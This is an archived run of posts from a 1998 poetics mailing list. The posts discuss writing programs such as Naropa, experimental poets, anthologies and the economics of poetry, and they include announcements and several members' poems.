He smelled of pagan incense and char.
Flame's phlegmshaped characters. Take a letter: Dear Flesh,
Even a snake's horizon must expand,
Impossible to tell in writing. "Basho"
symbol or saxophone--miserable,
With capital letters, lie and oppression with small.

↑ Index

379. Joseph Lease
Re: why I love country music & poetics (artist of the floa
Tue 14 Jul 1998

> *Barrett Watten well, I guess I'm with Ben Friedlander liking Watten's paradoxical position of attacking totalization by means of totalizing discourse .. and I am starting to see the charming vulnerability ..*

Hey Jordan why didn't you say this three years ago I wouldn't have bothered to write my dissertation--but seriously (folks)--now that my foot is out of that beartrap I agree with the above in a strange and haunting (self-haunting?) tone . . .

↑ Index

380. Erik Sweet
Re: sortes pinskianae
Tue 14 Jul 1998

good poem
that rip off the clothes poem was a joke, i don't really know
how the school would react to that winning a prize!

we'll see

im off

↑ Index

381. Erik Sweet
Reading in albany, ny 7/18!!!
Tue 14 Jul 1998

Jordan judged my summer class's poem contest
on William Carlos Williams...
He chose a funny parody of The Red Wheelbarrow!

on Saturday July 18th
for those of you in Albany, New York
you must come see

Anselm Berrigan
Jordan Davis
Sean Killian

read at Lulu's Wine Bar third floor
at 288 Lark Street at 7 pm

eryque back channel me...
any one else from Albany who wants details...come see these
poets read
they will heat up the downtown of albany and make it real!!!

hope the summer is well for all...its getting hot here!!!! "Tool a Magazine" will have its first issue available on or around august 14th so prepare for "the poetry" 1 month in counting.....

erik sweet

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382. Mark DuCharme
Re: Poetix programs?
Tue 14 Jul 1998

Todd,

Re: Naropa as "spiritual": yes, in a loose sense, this is true of Waldman, Schelling, Bye. Not so (in any way that intersects w/ their teaching or writing, at least) of Hollo or Hawkins, or of the majority of visiting writers, or of the majority of students I've known personally. &, Unlike other programs @ Naropa, there are no Buddhist-related requirements (such as meditation) for students in the M.F.A. writing & poetics program.

As to how it has affected my own poetics-- the emphasis on poetics as not just a genre of comp lit but as the engagement of a fellow practitioner WITH a body of writing, certainly would be one point. In terms of "schools," what's had more of

an affect, possibly, would be schools in the non-academic sense (tho' I was never "there")-- e.g. NY school & Language "moment." Certainly the distrust of intellectualism, on the one hand, & intellectual immersion, on the other, characteristic of these two groups, has framed (sometimes ironically) my own sense of engagement in the essays I've written. As for the poetry, I'd like to think I'm independent enough not to have been wholly shaped by any of the above. Certainly, a sense of improvisation, arrangement, pushing at the edges, trying not to repeat myself, has played a role. Certainly some of these are "Naropa values"-- but I think, for better or worse, I'm not very typical of the poets (student poets?) Naropa has "produced."

By the way, could you elaborate on how "the study of Olson, The Romantics, Oppen, Dickinson, Basic Texts (Aristotle, etc), Whitman and the texts that influenced their poetics has affected [your] work as a poet?"....

--Mark

Todd Baron wrote:

> *Dear Mark:*
>
> *No contradiction here: but perhaps I was not clear--my investigation reacts to a braoder question--persoanlly then--How do you think YOUR education as a Poet in a poetics dept. at a college has affected yr work. How do you think it affects a "school" of thought as a school of Poetics. NARAPA had a rep. for being based more on a spiritual investigation of poetcs--years ago--than a Comp. Lit study. Does that affect yr poetics--*
>
> *Why Naropa--for you--rather than somewhere else.*
>
> *Thanks --every answer engages me!*
>
> *Tb__*

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383. R. Gancie/C.Parcelli

"*Buke as in puke.*"

Tue 14 Jul 1998

"Then poet, if you mean to thrive,
Employ your muse on king's alive;
With prudence gathering up a cluster

Of all the virtues you can muster:
Which formed into a garland sweet,
Lay humbly at your monarch's feet;
Who, as the odours reach his throne,
Will smile, and think them all his own:
For law and gospel both determine
All virtues lodge in royal ermine.
(I mean the oracles of both
Who shall depose it upon oath.)
Your garland in the following reign,
Change but the names, will do again."
---from On Poetry: A Rhapsody by Jonathan Swift

"What you can't calculate, you think, it cannot be true;
What you can't weigh, that has no weight for you."
---from Faust, Second Part by Goethe, naturlich

Thanks to Joe Safdie for his excellent quote on the insidiousness of money

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384. Christian Roess
What do these bestsellers have in common?
Tue 14 Jul 1998

I was searching through the Barnes & Noble website earlier today. Here's some of the titles listed under "Literature, Theory & Criticism" BESTSELLERS (updated weekly). See if you can guess what they have in common.

It's a no-brainer on most of these, although some I'm puzzled by.Lots of- Cliff Notes- selling because of the Required Summer Reading Lists at Schools. If you are wondering why Dumas's _Man in the Iron Mask_ and Tobias Wolff's memoir_This Boy's Life_ are on the bestseller list, well you've already forgotten that Leonardo DiCaprio starred in both of these movies (neither very recently, either).We can't underestimate teenagers (mostly young women I'd imagine) and their influence.

Fiction & Literature; Theory & Criticism
Results 1 -50 of 21,176 found are displayed below sorted by most popular.

Top 10:

#1 To Kill a MockingbirdHarper Lee / Mass Market Paperback#2 Conversations Wiith God: An Uncommon Dialogue. Book 1Neale Donald Walsch / Hardcover#3The PearlJohn Steinbeck / Paperback#4The Joy Luck ClubAmy Tan /Get

the Facts on Anyone: 2nd Ed..Dennis King / Hardcover #5How the Irish Saved Civilization: The Untold Story of Ireland's Heroic Role from the Fall of Rome to the Rise of Medieval EuropeThomas Cahill#6GatekeeperPhilip Shelby / Hardcover#7The Essential Rumi #8Conversations With God: An Uncommon Dialgoue, Book 2 Neale Donald Walsch / Hardcover #9Heart of Darkness, with the Congo Diary. Joseph Conrad #10The Complete Works of Oscar Wilde

Here's partial list of rest of Top 50

15The Man in the Iron MaskAlexandre Dumas / 16To Kill a Mockingbird (Cliffs Notes)19 Lord of the Flies (Cliffs Notes)20 Adventures of Huckleberry Finn (Cliffs Notes)21 The Time of Our Time
Norman Mailer / 22Grapes of Wrath (Cliffs Notes)23 Adventures of Huckleberry Finn (Cliffs Notes)24Great Gatsby (Cliffs Notes)
26 The Odyssey (Cliffs Notes)27 To Kill a Mockingbird(Hardcover)
29The Heart of a Woman, Vol. 4y.Maya Angelou
30The Scarlet Letter (Cliffs Notes)32This Boy's Life
Tobias Wolff34Catcher in the Rye (Cliffs Notes)35 Conversations with God, Book 1 (Guidebook).38 Tale of Two Cities (Cliffs Notes)41Shadow of a Dark Queen (Serpentwar Saga #1), Vol. 1.42Raymond E. Feist / Mass Market Paperback43Hamlet: Prince of Denmark (Cliffs Notes)
45The Love between Mothers & Daughters.
Helen Exley /46Zlata's Diary: A Child's Life in Sarajevo
Zlata Filipovic / Paperback47Crime & Punishment (Cliffs Notes)48 Of Mice & Men (Cliffs Notes).50Wuthering Heights (Cliffs Notes)

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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385. **Maria Damon**
Re: Underestimated Poetics
Tue 14 Jul 1998

---

these are both so, like, totally cool. o, i n v u!

At 12:31 PM -0600 7/13/98, Rachel Levitsky wrote:
>Susan E. Dunn wrote:
>>
>> Omigod, like,
>>
>> Thepoetryofyoungwomen's life had stood a loaded gun and then some.
>> Thepoetryofyoungwomen shops at the Gap. Thepoetryofyoungwomen eats an
>> entire pint of Hagen Daz. Thepoetryofyoungwomen starves herself.

>> Thepoetryofyoungwomen rolls her eyes and won't wipe that look off her face
>> and doesn't care that you don't like her tone of voice.
>> Thepoetryofyoungwomen is a vampire slayer, like Buffy.
>> Thepoetryofyoungwomen smiles sweetly when you call her Blondie and then
>> says asshole when you aren't in earshot. Thepoetryofyoungwomen got drunk on
>> wine coolers and blew chunks. Thepoetryofyoungwomen wants to be an
>> astronaut or a figure skater. Thepoetryofyoungwomen reads the Bell Jar and
>> cries. Thepoetryofyoungwomen thinks Taylor Hanson is cute and Beck Hansen
>> is deep. Thepoetryofyoungwomen is never called on even when her hand is up.
>> Thepoetryofyoungwomen has seen Titanic three times but likes Little Women
>> better. Thepoetryofyoungwomen is good at math. Thepoetryofyoungwomen
>> polishes her nails black. Thepoetryofyoungwomen clears the table.
>> Thepoetryofyoungwomen needs to check her messages. Thepoetryofyoung-women is
>> not impressed that your father wrote the history book.
>>
>> ----------
>> Susan E. Dunn
>> "Are you in the English Department or the History Department?"
>> "I'm in the Toy Department."
>> --Maxine Hong Kingston, Tripmaster Monkey: His Fake Book
>> email: [redacted]
>> www: http://shc.stanford.edu/sed/sedunn.html
>> ----------
>
>Susan mind if I add?
>
>Thepoetryofyoungwomen makes xerox copies of her body parts.
>Thepoetryofyoungwomen thinks she should garden but prefers new shoes.
>Thepoetryofyoungwomen can never get past imitating G.Stein, as had been
>noted. Thepoetryofyoungwomen fights like a girl and wont be shaken from
>her party line. Thepoetryofyoungwomen shares knowing she deserves more
>than she gets. Thepoetryofyoungwomen would like to take up space and
>gets shorter. Thepoetryofyoungwomen grows so big it can screw in a
>lightbulb all by herself.
>

>
>also forthcoming:
>A reluctant promise to J. Kuszai of recap of last week of Naropa SWP
>events including the dog bite.
>
>--rdl--

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386. **Elizabeth Treadwell**
Poetics/Poetry Dept. degrees
Tue 14 Jul 1998

Todd, I don't know about affects exactly but you know Cal-Arts now has a Critical Studies program where the kids write. My sister Carol T. graduated last year in the new dept's first class. Her thesis was a novel, but they did seem to do more critical work than I did at San Fran State. I was a bit jealous of that. Seems like it at least gives more to talk about than each other's work and outfits. Sat in on a class of hers with John Wagner which was great--they were talking about Rumi and a million things --criticism, critical thought--i may not be the best at it but it gets me going when it doesnt bore. its kind of like landscaping that way. or wallpaper. The program is headed by Dick Hebdige, of Semiotexte in-fame. They publish Errant Bodies. excuse me if this is all old news. Elizabeth

Elizabeth Treadwell
Outlet, a periodical
Double Lucy Books
PO Box 9013
Berkeley, CA 94709
http://users.lanminds.com/~dblelucy

↑ Index

387. **Elizabeth Treadwell**
my additional thot
Tue 14 Jul 1998

Have to be true to my school and add that at SF State, esp in classes of Myung Kim and Bob Gluck, was exposed to a ton of writing that is reverberant (!) and influencing. but all yr headbreaking cant come from school.

Eliz.

↑ Index

388. k.a. hehir
Re: quartermain/cadell intro
Tue 14 Jul 1998

On Mon, 13 Jul 1998, Billy Little wrote:
> in idle, nevertheless I'd say Linton Kwesi Johnson's language is
> delectable, i like it on the tongue like a candy.

Billy,

yes LKJ is super, but the real way to experience him is with the dub band. i think most of his albums are available on cd now. he's on shanachie records.

best,
kevin

|----------| | Arsenic, a classic homicidal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

↑ Index

389. Elizabeth Treadwell
interior decorating
Tue 14 Jul 1998

"In fact in fact in the life in fact in the life and after all in fact after
all after all which is it after all which is it."
Gertrude Stein, Lucy Church Amiably

"realism too is an '-ism.'": "psychopathology": if they are flat, why do they seem alive

A computation is a systematic mapping between
interpretable inputs and outputs.

Thepoetryofyoungwomen is thepoetryofyoungwomen is thepoetryofyoungwomen.

I'm old now anyway.

E.

ps Karen, thank you for the road to "Woolfenstein"

↑ Index

390. **Safdie Joseph**

Money

Tue 14 Jul 1998

Some months ago, Don Byrd started one of his posts with this remark:

I have found the discussion of poetry and money painful. There have been attitudes, of course, about MFA programs and about academics and about the honor of not making money, etc. But what is the issue?

What, indeed? One answer might be found in a wonderful book I've recently discovered, _Frozen Desire_ by James Buchan. It's a book about the history of money, but not only that. In the manner of R Gancie, let me quote what seemed to me a truly remarkable paragraph from the introduction:

"Yet I saw that money was a deep, almost unbreakable, social relation. The banknote I gave the Lebanese waiter was not a simple object, whose function could be deduced quite quickly, like a pencil or, once the control knob has been found, a television. The engraved swirls and signs, even the King's portrait, did not suddenly reveal the note's purposes to someone who knew nothing of money. The banknote was an outcrop of some vast mountain of social arrangements, . . . It occurred to me that, in using money, I had submitted to the authority of a society of which I knew little, but in which I found as much to deplore as admire: subscribed, as it were, to the tottering triangles in the suq that were women or the tense scamper after Friday prayers when we all coralled into an open space downtown to witness a beheading. There was something sacramental about my pay: that I'd offered up to some higher organ my primary social relations, that it was to me and my friends as a flag is to a regiment or a crucifix to Christians. I felt compelled. I was not a volunteer of Saudi Arabia or any society: I had been pressed. My wages came to me not to satisfy any need -- mine were anyway private, affectionate, atrocious -- but to make my needs universal: to incorporate me in the mainstream of men and things in which my work was not for me but for everybody; and to take what was special in me, my most secure and precious sense of myself, and make it general and banal. In short, I was to be civilized."

He goes from this personal introduction to a more scholarly, yet fascinating, history of money, interest and what might be called "econo-metrics" -- a great read! I recommend it highly.

↑ Index

391. Christopher W. Alexander

Re: Why does this make me want to throw up?

Tue 14 Jul 1998

John - this is part of the new 'journalism lite' that's "popular" here in the U.S. (particularly light on "public discourse", as Mark noted). This far out, I'm afraid it's more disheartening than surprising to see vagaries such as this in the news media:

> *During his tenure, Professor Hass battled illiteracy by putting into action his belief that, "Imagination makes communities."*

foibles from today's edition of the local paper might include the headline "Boys' Deaths Take the Bounce Out of Orange Marches", or this masterpiece of critical reportage (which sounds like a goddamn'd Pepsi commercial to me):

"The vast Army range west of Tooele this month is staging unique war games that combine ground forces, Army helicopters and Air Force fighter jets, giving part-time warriors a more realistic taste of the front lines, complete with live ammunition. It is part of a nationwide training run dubbed Global Patriot '98. [...] Dugway was selected because of its wide-open airspace, not because it looks much like Korea."

or probably my favorite headline today: "Oxygen: Can't Live With It, But Can't Live Without It". Really -- this is on the front page, whereas such articles as

Clinton Says No To Independence In Kosovo Region
Russian Bailout Gets Approval Of World Bank

are buried deeeep inside. And of course that's not to mention the terrific number of happenings not deemed newsworthy (e.g., any left activity, any rightist activity or corruption on the part of governmental agencies or local corporations that can't be whitewashed...). I suppose mebbe it's worse here in UT than elsewhere -- I get most of my news from a combination of Pacifica, the Times, the Boston Globe (online), the Nation digital edition; local news from very small independents, one of which is excellent on local corruption issues...

c h r i s

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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392. **Maria Damon**
Re: quartermain/cadell intro
Tue 14 Jul 1998

---

lkj's terrific; what's he up to these days? what's the "scene" (dub and otherwise) like in britain now?

At 4:20 PM -0400 7/14/98, k.a. hehir wrote:
>On Mon, 13 Jul 1998, Billy Little wrote:
>> in idle, nevertheless I'd say Linton Kwesi Johnson's language is
>> delectable, i like it on the tongue like a candy.
>
>
>Billy,
>
>yes LKJ is super, but the real way to experience him is with the dub band.
>i think most of his albums are available on cd now. he's on shanachie
>records.
>
>best,
>kevin
>
> |---|
> | Arsenic, a classic homicidal poison, occurs naturally |
> | in small amounts in many foods. |
> | The World of Chemistry Essentials |
> |---|

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393. **toddbaron**
Re: Poetix programs?
Tue 14 Jul 1998

Mark DuCharme wrote:
>
> Todd,
>
> Re: Naropa as "spiritual": yes, in a loose sense, this is true of
> Waldman, Schelling, Bye. Not so (in any way that intersects w/ their
> teaching or writing, at least) of Hollo or Hawkins, or of the majority
> of visiting writers, or of the majority of students I've known
> personally. &, Unlike other programs @ Naropa, there are no
> Buddhist-related requirements (such as meditation) for students in the

> M.F.A. writing & poetics program.
>
> As to how it has affected my own poetics-- the emphasis on poetics as
> not just a genre of comp lit but as the engagement of a fellow
> practitioner WITH a body of writing, certainly would be one point. In
> terms of "schools," what's had more of an affect, possibly, would be
> schools in the non-academic sense (tho' I was never "there")-- e.g. NY
> school & Language "moment." Certainly the distrust of intellectualism,
> on the one hand, & intellectual immersion, on the other, characteristic
> of these two groups, has framed (sometimes ironically) my own sense of
> engagement in the essays I've written. As for the poetry, I'd like to
> think I'm independent enough not to have been wholly shaped by any of
> the above. Certainly, a sense of improvisation, arrangement, pushing at
> the edges, trying not to repeat myself, has played a role. Certainly
> some of these are "Naropa values"-- but I think, for better or worse,
> I'm not very typical of the poets (student poets?) Naropa has
> "produced."
>
> By the way, could you elaborate on how "the study of Olson, The
> Romantics, Oppen, Dickinson, Basic Texts (Aristotle, etc), Whitman and
> the texts that influenced their poetics has affected [your] work as a
> poet?"....
>
> --Mark
>

> *No contradiction here: but perhaps I was not clear--my investigation reacts to a braoder question--persoanlly then--How do you think YOUR education as a Poet in a poetics dept. at a college has affected yr work. How do you think it affects a "school" of thought as a school of Poetics. NARAPA had a rep. for being based more on a spiritual investigation of poetcs--years ago--than a Comp. Lit study. Does that affect yr poetics--*
>
> *Why Naropa--for you--rather than somewhere else.*
>
> *Thanks --every answer engages me!*
>
> *Tb__*

---

thank-you.

Send me yr address so's I can send you ReMap #6.

Anyways--the study of those mentioned has affected my work as a poet in various sense

1) the poem as possible dialogue with epic--as history--as a sense so much more interesting than "self" 2) Dickinson--and my study with Rbert Duncan and Arron Shurin--has affected my idea of what the poem is--that Robert said "Trust the poem" never the poet..per se--and that Emily Dickinson was an Occult Poet--and that Robert said "All poetry is an occult scinece" 3) Reading in Basic Texts--and studying--knowing whre the work comes from--the true history of the language--as Spicer said--paraphrased-in order to have Rabbit stew you gotta "catch the rabbit" first! 4) Whitman gave me the idea of what the poem is for me--a poem that has everything to do with the Outisde world as repeated represented on my Inside--the line--the LINE--as the foundation of the poem--what a poem is anways--to look at--is lines--and the rejection of the then current line strangulation in sonnett/neat/form.

Though my work is nothing like the above writers--I read them all the time--I learned to READ in Grad. school. I learned to read in 3rd grade!

THanks Mark--

Your discussion of Naropa is interesting. I've wanted to see what the possible connected between New College Poetics and Naropa is--but I still see a different take--there--as there--was a long time ago at Naropa-- David Meltzer and Diane DiPrima most likely the poets I studied with that have a Naropa Connection. Imagine the joy of studying Kabbalah and The Roamtics with these two--and though my work as a poet doesn't directly engage(as you said yr studies don't) those "subjects"--the constant drive towards a given mystery--I believe that's what seperates the current "academic" departments of Creative Writing programs from those such as Naropa--and even SFSU--and New C.

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394. **toddbaron**

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Tue 14 Jul 1998

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> *Thanks --every answer engages me!*

> *Tb__*
>
> _____

thank-you.

Send me yr address so's I can send you ReMap #6.

Anyways--the study of those mentioned has affected my work as a poet in various senses and ways:

1) the poem as possible dialogue with epic--as history--as a sense so much more interesting than "self" 2) Dickinson--and my study with Rbert Duncan and Arron Shurin--has affected my idea of what the poem is--that Robert said "Trust the poem" never the poet..per se--and that Emily Dickinson was an Occult Poet--and that Robert said "All poetry is an occult scinece" 3) Reading in Basic Texts--and studying--knowing whre the work comes from--the true history of the language--as Spicer said--paraphrased-in order to have Rabbit stew you gotta "catch the rabbit" first! 4) Whitman gave me the idea of what the poem is for me--a poem that has everything to do with the Outisde world as repeated represented on my Inside--the line--the LINE--as the foundation of the poem--what a poem is anways--to look at--is lines--and the rejection of the then current line strangulation in sonnett/neat/form.

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395. **toddbaron**

Re: Poetics/Poetry Dept. degrees

Tue 14 Jul 1998

Yes--the dept. ..The thing there that "bothers" me though is the abolsute lack (here my ego goes) of those students participating in the very small lit. scene in

LA. I fear they feel they are outside of the various and sometimes good readings and publications. I've yet to run into a Cal-Arts strudents that read cont. poetry or goes to the readings at Sun and Moon. While in SF I went to everything! I hear from Noah D. Lissovoy that he runs into SFSU students at everything now that he lives "up there". And so--I'm afraid now that Cal-Arts and other "critical studies" dept.s actually create a border--not a moving one--but a solid firm one. I wonder if this is al my own bullshirt or if I'm right!

Living in LA is horribiliy political. Few readings scarecly attended!

Tb

ps: ?

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396. **toddbaron**
Re: my additional thot
Tue 14 Jul 1998

Elizabeth Treadwell wrote:
>
> Have to be true to my school and add that at SF State, esp in classes of
> Myung Kim and Bob Gluck, was exposed to a ton of writing that is reverber-
ant
> (!) and influencing.
> but all yr headbreaking cant come from school.
>
> Eliz.
>
> >
> >
and yes--those folks are great teachers--who care! I agree--the New
College program exposed me to a library I now cart with me of 700 tons
of material I did not previously know of----

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397. **toddbaron**
Re: interior decorating
Tue 14 Jul 1998

Any responses to Margy Sloan's MOVING BORDERS ANTHOLOGY--since we've talked of the damned Millenium--which never seems to come? I believe THIS is the anthology that I want to reread and that matters. If for nothing else but

Margy's immense intro and Neidecker's amazing "lots" poem that opens the text. THis is a GREAT text!

Tb (ReMaP)

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398. **Jordan Davis**
bad total
Sat 13 Jun 1998

To pick back up the Barrett Watten discussion --

"A sterile madness lives in pictures of highly controlled effects--which is what we mean when we speak of abstraction."

This sounds like Foucault, right? At the end of Bad History, there's a section by section list of citations or readings, and sure enough, at the end of the list for "No Man's Land" comes Foucault's Madness and Civilization.

The footnotes here, what is their relationship to the text? Is the dissociation and deletion of reference what's bad in a Bad History? Watten quotes (someone quoting?) the line that a history without women's proper names is a _bad history_. Is Watten quoting Foucault, or simulating him? At any rate, I'm having a footnote experience David Jones only dreamed about.

Again, this is the cheapest sort of discussion about literature, nothing about what Watten does so admirably in Bad History, but instead taking on a sort of surplus issue, talking about the project and its presentation and not the activity and its rates. Just to mumble in case the book'd been skipped over --

Jordan

↑ Index

399. **John Tranter**
Re: Why does this make me want to throw up?
Tue 14 Jul 1998

Thanks, Joe.
Yes, I did notice that kerfuffle as it drifted across the screen some months ago, but I hadn't actually seen how awful the original White House guff was.
Twelve years ago August Kleinzahler told me Hass and Pinsky would engineer something like this, and boy, he was right!
I have a poem I wrote about a brace of US poets not entirely unlike them in, I think, 1986:

John Tranter

On Looking Into The American Anthology

1

In California a young man is stuffing a briefcase -
first a jug of light, the words 'water'
and 'stone', a blurred image of a guy in a pickup
truck with a gun

staring through the hush-squeak, hush-squeak
of the wipers, a frail woman, crying. A leaf, a sob,
a clod of mud. There! His class awaits the real,
the Deep and Meaningful.

Driving downtown he sees a pair of jugglers
inch up the face of a glass cathedral full of
marriages, mirrored in the noon glare, one on top,
and then his double.

The neon signs in the suburbs full of graves say
'Giants Drank and Died Here'. Autos, rusting trucks,
police helicopters roam restlessly, their motto: Do it
First, and do it Fast.

2

Down here in New Zealand, jet-lagged in transit
at the bottom of the planet, a clutch of
Flight Attendants giggle in a corner: one gay,
the others married.

The sun that has looked down on Hollywood,
on lust, Las Vegas and the will to power,
rises, rhododactylos, on Auckland Airport:
through the tinted glass

a perfect field of fodder, five sheep,
a tractor nosing at the sedge, the shrill
cacophony of jets rehearsing like a madman
staring at a vase.

Nothing the amusing natives do here matters
in the Capital. The giant engines lift us
through the sky. The next stop - Australia -
is the end of the line.

----- John Tranter

At 09:37 AM 14/07/98 -0700, you wrote:
>
>John, don't know if you can get into the archives, but I posted a long
>and dismissive post about this "activity" a week or so after it had
>actually happened, and drew some flack from people who I think are more
>interested in fame than in poetry. Anyway, thank you for your supremely
>intelligent magazine!
>
>Best,
>
>Joe Safdie

↑ Index

400. **Douglas Oliver**
Re: Other
Wed 15 Jul 1998

Contributors to Ric Caddel's and Peter Quartermain's "Other British Poetry" anthology have been asked to comment on the introduction.

I wouldn't want to be nationalist about poetry (not even about poor little Scotland, which gets short shrift here), but as far as an international readership is concerned, Britain has been a difficult place to write from in recent years. That itself is a poetic topic of great importance for its writers.

The introduction makes full allowance for the many "Englishes" which now create a multi-cultural, multi-national sense of "British poetry". So thank god for this remarkable piece of entrepreneurship which, at last, will give the US some idea of what's been going on. Until recently, I've found most of my many American friends almost entirely ignorant about the British scene. I'm delighted if Billy Little responds so enthusiastically, for example.

Mostly, the introduction is excellent, although it will be cut down for the actual edition. However, there's hardly ever such a thing as a true overview written from within a situation: perhaps the point about the Donald Allen anthology, which always gets cited as the example, is that Allen wasn't caught up in the tensions he so ably categorised: he was just friendly with everyone. Here, a slight North of England/London bias cannot be avoided in some of the weightings: thus, both Ric and Peter Quartermain come forward from the Basil Bunting direction and place great emphasis upon the London figures Eric Mottram and Allen Fisher (as prime exemplars of new poetics), and Bob Cobbing (as key figure in sound/performance based moves). I don't object to editorial bias -- don't see how it can be avoided. As for unstated reasons they can't include J.H. Prynne's work in the anthology itself, their generous attempt to

acknowledge the influence of Cambridge lacks some depth, not least because their list of honourable exclusions includes many younger Prynne disciples. (Prynne's increasingly difficult work can be read in the new "collected" due out this summer.)

The introduction sees British poetry as an arena of gladiatorial battles, the mainstream versus "The Other". A key event, therefore, was the avant-garde's seizure of control of the stuffy Poetry Society in the 1970s, before a counter-coup returned the society and its centrist Poetry Review safely to the mainstream. This was a London event in which Cambridge took a much lesser role: "If we're all struggling against officialising centrism, why are we trying to get control of the official centre?" -- that was sometimes a Cambridge thing to say. But fair enough: Bob Cobbing and Eric Mottram led a heroic tussle for a few years. Let it be acknowledged.

When it comes to such battles the names of women disappear. For such a concentration tends to exclude from discussion those who are cagey about the power relationships involved in all group movements and banner waving; that includes not just many women but many writers from other ethnicities -- and, I must say, myself (I'm rather anarchist about poetic movements) though my work features in the collection, sure enough. I am hopeful that the anthology will actually prove sufficiently multi-cultural and have a proper gender balance, for that is a different kind of battle not fully won in Britain yet.

For me, much of the talk about the Rothenberg/Joris assemblage missed the point. The point with anthologies is that someone has to get the whole business started: Jerry and Pierre have done this for world literature; now Ric and Peter Quartermain have done it for recent British poetry as anthologised in the US.

Salutations to all you out there who are genuinely waiting for the news!

Doug Oliver

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401. **Gwyn McVay**
comment? narrative closure
Wed 15 Jul 1998

Apropos of the "desire" thread bandied about not long ago:

Shelved next to each other by alphabetical fiat in the "Poetry" section at Borders: DESIRE by Frank Bidart and THE END OF DESIRE by Jill Bialosky.

Now that's narrative closure.

Gwyn

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402. Douglas
New title and news
Wed 15 Jul 1998

Sun & Moon Press is proud to announce to the publication of DURA, by Myung Mi Kim.

Conceived as one long poem, Myung Mi Kim's DURA is a whirling experimental symphony of images, forms and rhythms assembled and juxtaposed to translate the experince and gestures of the Korean immirant woman surviving in America at the end of the twentieth century. A truly important new collection of poetry.

New American Poetry Series: 28
paper, $11.95

Sun & Moon's CHILDREN OF CLAY, by Raymond Queneau will soon be reviewed in the NEW YORK TIMES BOOK REVIEW, the SAN FRANCISCO CHRONICLE, and THE NEW YORKER, among other places. That book is $14.95.

The two books above and my own AFTER are still available to subscribers of the poetics list for a 20% discount + postage.

Also, a reminder, MR KNIFE, MISS FORK, the new international poetry review published by Sun & Moon Press is available by subscription for $20.00, that's a bit more than a 20% discount from the individual issue price.

Order from Sun & Moon Press,
6026 Wilshire Blvd.
Los Angeles, CA 90036
[redacted]
www.sunmoon.com

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403. daniel bouchard
Call Forth Further Notes to Poetry -Forwarded
Wed 15 Jul 1998

Listerines:

I am forwarding the post below on behalf of the undersigned, whose working-for-The-Man prevents them from participation in ListServs (even small ones from nice tropical islands.)

****

Dear Poets Critics & Fellahin,

WE, Douglas Rothschild, & Tony Dohr, being of unsound judgment, come now, after many hours spent in vigorous debate, requesting your participation in a new THOUGHT project.

There has recently been a small controversy about negativism in critical reviews, we have come to believe that the critic MUST express his or her dissatisfaction with EVERY poem without fear of either sensor, damaged feelings, or hurt friendships. In light of this revelation, we offer these poems up for critical comment. Feel free to critique them, ignore them, savage them or, to our enduring embarrassment, praise them. But please remember that we firmly believe that the most sincere & useful response to work is invariably: Glib, Critical, & Acerbic.

{The Poems} --typography is not always translatible across formats so the poems are available in sep. file upon request.

_____

Textual Queries:

HARD AT WORK

[S]"he told me /Top'/ik/, [emminent danger] I heard, [Impending disaster]" --Jean Luc Nancy

I shifted back & forth

all day. I had thought it out.
The reality of disaster, over
took the concept of danger
& became tantamount in

my mind. I was parallized
& reacted suddenly & with-
out warning.

_____

4 / 10 / 1747

Straights of Gibralter, aboard H.S.S. Providence

'Perhaps all this soul searching is the path to the final draft . . . .

'Once a friend answering a fellow's question said
of me, "First he writes EVERYTHING down, & then
he cross it all out." (I think this, the path this voyage
is now taking.)

[Final Draft....is that what it's called
as you sit in a cold office on a cold day while the air con-
ditioner blows on you & your tuberian co-worker comes
over & breathes tuberculin microbes onto the back of
your exposed neck?]
'Maybe all this soul searching is
the path to the final draft . . . . & yet again, I keep hearing
[the words shining {path}, heaven, & gate in that phrase,]
though when I look for them, they are not there.'

--Boswell, A Spanish Journal

POEM 3

April 8th & there
is enough breeze to
consider March a viable

alternative.

Outside the brightness startles
the senses as if long beetled up.
Long since twisted completely

around. Never the less, desire,
the plan. Part of the image &
what it creates. Imposes upon

it, the still exists. & revile it. But
even the weather remains. Male-
volent plans the imaginary. Nature
neutral is interferes, repells, light

in haze, regardless of control. The
sounds apart, the seems exist so
much as to be both. Unrecognizable
& indistinguishable from the world
we've made.

EMMINANT DANGER :
ALARM
ALARM

ALARM
--Jackson Mac Low

it seemed so simple :
cross it out that which
is not in part equal to
a sense of what is left.

records of various &
disastorous acount
abilibies. Among the
negotiation of others
space & not. Look at
the skill of line breaks.

{a dream of stability}

Continue hope. Remember
brush. Remember the whole
of history. Artfully pressed
lips while thinking it out?

RIVER

among the wreackage, twisted
cables, cement & retaining bouys
which mark the ruined pier

LOBSTER

Devoured by ants, the way people grow
restless aimlessly. Collide their better halves
& forget the names. i too have no idea how

it happens. Yet, have been there to see the result
it's ugly, really. A question of stamina & informs
salvation. Works, into words into actions like a
forlorn calvinist. Ever presant, dulling the edge.

ARSENIC

or having already been trapped away from the event.
The spirit of a phantom. of the shadow of it's former
self. A shell of a man, a hulk. The mind is reticent &

retaliates with an announcement of its own salvation.
For a moment time has collapsed in, & we are our thoughts
a relevation that would only shorten time, stuffing an edge-
wise into the preponderance of a precedence of space.

FOLLOWING MELVILLE

GREAT PRIMORDIAL STRUGGLE
Between Elements of Air & Water
Conducted by Two Mallards & Gull

Now the water logged carcass
of a bagel forever out of reach
bobbing on the water. The other

hovering, held aloft by air.

....topic sentences from THE WORK IN PROGRESS:

His world has been Detroit.

Few people know fish.

That incessant humm rattling around.

The Brain, The Shadow of an Idea.

Lint

GRISTLY SAUSAGE

i'm in Prauge in the late 80's
& am getting my Havel's

confused. Examine the window,
is it open to the intricanteness of

a provincial capital? Check it again,
i remain dubious.

CALL TO PRAYER

"If there is a plan, perhaps this too
is part of the plan, as when the subway
turns on a switch, the wheels screeching
against the rails, & the lights go out;

but are on again in a moment."
--Charles Resnikoff

If there is a plan. If there is not a plan.
It has worked out just as well at least
this is what you've expected to believe.

Lick

your waxy lips, adjust your hat, & try
to remember your name enough to put
it out of your head. Give you something
other to do than merely persue a course
of results & the movement itself Byzan-

tine.

An elaborate, intricate mosque is beyond.
Only you instead insist on stepping back,
viewing the minnarette, & remembering
the compation of the mussa's call to prayer.
An image of nothing than better signifiers

confusing or absolute.

---

give up drinking
take up drinking
& it's dangerous

enough to change.

NEW POEM

& the rocks reappear
lighter than ducks
lighter even than paper
cups & the entrance

to the canal holds
me. For a moment
as i consider whether
it has tumbled down.

ARE ALL THAT REMAIN

